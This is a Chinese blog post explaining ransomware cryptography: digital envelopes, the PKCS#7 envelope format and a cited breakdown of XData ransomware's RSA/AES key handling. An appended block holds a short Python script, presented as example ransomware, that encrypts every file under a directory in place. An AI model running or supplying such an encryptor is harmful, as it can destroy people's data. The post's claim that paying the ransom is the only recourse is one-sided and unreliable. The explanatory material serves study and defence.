被勒索病毒加密的文件如何破解?

想要硬刚勒索病毒,脱密加密的文件,是很难的。之前,我已经介绍了数字签名,勒索病毒使用了公钥加密另一个常用应用“数字信封”技术。

想要恢复勒索病毒加密的文件,可以破解黑客的公钥,或者破解黑客加密文件的临时对称密钥。而这2种算法,黑客都选用了目前可靠的算法,不可能被破解。

为什么不能被破解?这2种算法保障着全球信息系统的安全性,如果能通过破解加密算法恢复文件,现代的信息防护技术也就都失效了。因此,如果必须恢复文件,目前的办法就是支付赎金给黑客,然后加固系统。

数字信封

不严谨的描述一下:

1.随机选取对称密钥

2.用对称加密明文得到密文

3.用公钥加密对称密钥,得到加密的对称密钥。

4.将密文和加密后的对称密钥保存在一个文件中。

最后的数字信封中全部是密文,先要解密数字信封,必须要有公钥对应的私钥,先从数字信封中解密对称密钥,在解密密文。

上面只是最简单的数字信封原理,我们可以进一步了PKCS#7解数字信封的格式,参考文献3。

数 字 信 封 格 式 (不带签名)

版本号

0

接收者信息

版本号

证书序列号

对密钥的加密算法标识

加密的报文密钥

加密内容信息

数据类型

数据加密算法标识

加密的内容

数 字 信 封 格 式 (带签名)

版本号

0

接收者信息

版本号

证书序列号

对密钥的加密算法标识

加密的报文密钥

信息摘要算法

算法标识

加密内容信息

数据类型

数据加密算法标识

加密的内容(使用报文密钥加密)

证书

签名者证书和签发者证书(可选)

签名者信息

版本号(1)

签名者证书序列号

签名时间

签名算法

加密的签名值(使用报文密钥加密)

其它属性

勒索病毒

先看一下分析资料,

加密过程

1, 病毒运行时会随机生成RSA Session公私钥对,私钥命名为:计算机-#-加密时间.key。

此文件会被随机生成的AES-256 key对称加密,保存在计算机-#-加密时间.key.~xdata~ 文件的头部。

2, 病毒作者用事先准备好的RSA公钥,把随机生成的AES-256 key加密后,保存在 *.key.~xdata~文件的尾部。

3, 普通文件,用随机生成的AES-256 key进行加密后存在文件头部。(大于100M的文件,只加密前15M,小于等于100M,大于等于10M的,加密前10M,小于10M的文件,加密filesize & 0xFFFFFFF0的 全文)

4, 用RSA Session public key加密随机生成的AES-256 key,并保存在加密文件的尾部。

解密过程

5, 病毒作者手中的RSA private key可以用来解密*.key.~xdata~ 的文件尾,获取到文件加密的AES-256 key。

6, 用上一步解密出来的AES-256 key 解密*.key.~xdata~,可以获取完整的RSA Session private key。

7, 用RSA Session private key解密用户电脑上所有的*.~xdata~ 文件尾部,获取每个文件的AES-256 key。

8, 用上一步获取到的AES-256 key解密每个 被加密文件。

解密的重点在于黑客手上的RSA private key!黑客在解密时,是不能提供自己的私钥的,*.key.~xdata~文件中就是一个加密对称密钥,黑客只需要解密这个文件还原AESkey,这里和数字信封原理是一样的。

黑客还用了一些技巧,每个文件都采用不同的对称密钥,和临时RSA Session private key ,这里是数字信封的原理用了2遍,做了一次嵌套。

个人感觉RSA Session private key,没有给加密系统增加安全性。如果我来做,用主AES key加密每个文件的AES key。这个观点大家是否支持?

参考文献:

1.XData勒索病毒加密方式剖析及解密工具 https://www.freebuf.com/sectool/136540.html

2. WannaCry勒索病毒,是这么一回事 https://www.guokr.com/article/442167

3. PKCS1签名&PKCS7签名&PKCS7信封格式 http://blog.sina.com.cn/s/blog_6a17ac950102w1ka.html

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
勒索病毒通常使用加密算法对目标文件进行加密,以防止用户访问它们,然后勒索受害者付款以获取解密密钥。 以下是一个勒索病毒可能使用的示例代码,使用AES算法对多级目录进行加密: ```python import os from cryptography.fernet import Fernet # 生成加密密钥 key = Fernet.generate_key() # 创建Fernet对象 fernet = Fernet(key) # 遍历目录并加密文件 def encrypt_directory(path): for dirpath, dirnames, filenames in os.walk(path): for filename in filenames: # 加载文件 with open(os.path.join(dirpath, filename), 'rb') as f: file_data = f.read() # 加密文件 encrypted_data = fernet.encrypt(file_data) # 将加密后的数据写回到原文件 with open(os.path.join(dirpath, filename), 'wb') as f: f.write(encrypted_data) # 保存密钥 with open('key.key', 'wb') as f: f.write(key) # 加密指定目录 encrypt_directory('/path/to/directory') ``` 在这个示例中,勒索病毒使用了Python的`cryptography`库来加密数据。它遍历指定的目录,对目录中的所有文件进行加密,并将加密后的数据写回到原文件。它还生成加密密钥并将其保存到`key.key`文件中,以便以后用于解密文件。 请注意,这只是一个示例代码,并且勒索病毒通常会加入更多的恶意代码,例如:对加密文件进行更改名称和在受害者计算机上创建勒索信息。如果您遇到了勒索病毒,请不要尝试自行解密文件,而是寻求专业帮助。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王森 出发

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值